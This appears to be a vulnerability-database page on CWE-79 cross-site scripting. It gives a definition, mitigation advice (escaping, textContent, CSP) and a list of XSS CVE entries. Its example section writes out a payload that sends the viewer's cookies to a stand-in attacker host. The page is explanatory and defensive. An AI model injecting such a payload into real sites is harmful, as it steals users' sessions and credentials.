Fallos del tipo CWE-79

30.259 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2025-46859MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.3%CVE-2024-47226MEDIUMA stored cross-site scripting (XSS) vulnerability exists in NetBox 4.1.0 within the "Configuration History" feature of the "Admin" panel viaEPSS 0.3%CVE-2024-2727MEDIUMStored Cross-Site Scripting (Stored-XSS) vulnerability in the CIGESv2 systemEPSS 0.3%CVE-2025-3750MEDIUMNetwork Posts Extended <= 7.7.1 - Authenticated (Contributor+) Stored Cross-Site Scripting via post_height ParameterEPSS 0.3%CVE-2025-46860MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.3%CVE-2025-60507HIGHCross site scripting vulnerability in Moodle GeniAI plugin (local_geniai) 2.3.6. An authenticated user with Teacher role can upload a PDF coEPSS 0.3%CVE-2024-51889MEDIUMWordPress Fancy User List plugin <= 3.1 - Stored Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2026-22674MEDIUMHashgraph Guardian Stored XSS via branding companyName fieldEPSS 0.3%CVE-2025-46851MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.3%CVE-2025-47828MEDIUMLumi H5P-Nodejs-library before 9.3.3 omits a sanitizeHtml call for plain text strings.EPSS 0.3%CVE-2024-51868MEDIUMWordPress DuoGeek Blocks plugin <= 0.1.1 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-51910MEDIUMWordPress Assist24 Help Desk plugin <= 20150401.2 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-7066MEDIUMImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting') in JirafeauEPSS 0.3%CVE-2023-52084LOWWinter CMS Stored XSS through Backend ColorPicker FormWidgetEPSS 0.3%CVE-2024-51909MEDIUMWordPress audioCase plugin <= 1.2.1 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-2179LOWConcrete CMS version 9 before 9.2.7 is vulnerable to Stored XSS via the Name field of a Group typeEPSS 0.3%CVE-2026-0867MEDIUMEssential Widgets <= 3.0 - Authenticated (Contributor+) Stored Cross-Site Scripting via Multiple ShortcodesEPSS 0.3%CVE-2024-25854MEDIUMCross Site Scripting (XSS) vulnerability in Sourcecodester Insurance Management System 1.0 allows attackers to run arbitrary code via the SuEPSS 0.3%CVE-2024-30425MEDIUMWordPress Beaver Builder plugin <= 2.7.4.4 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-48244MEDIUMWordPress Exclusive Addons Elementor plugin <= 2.7.9 - Cross Site Scripting (XSS) VulnerabilityEPSS 0.3%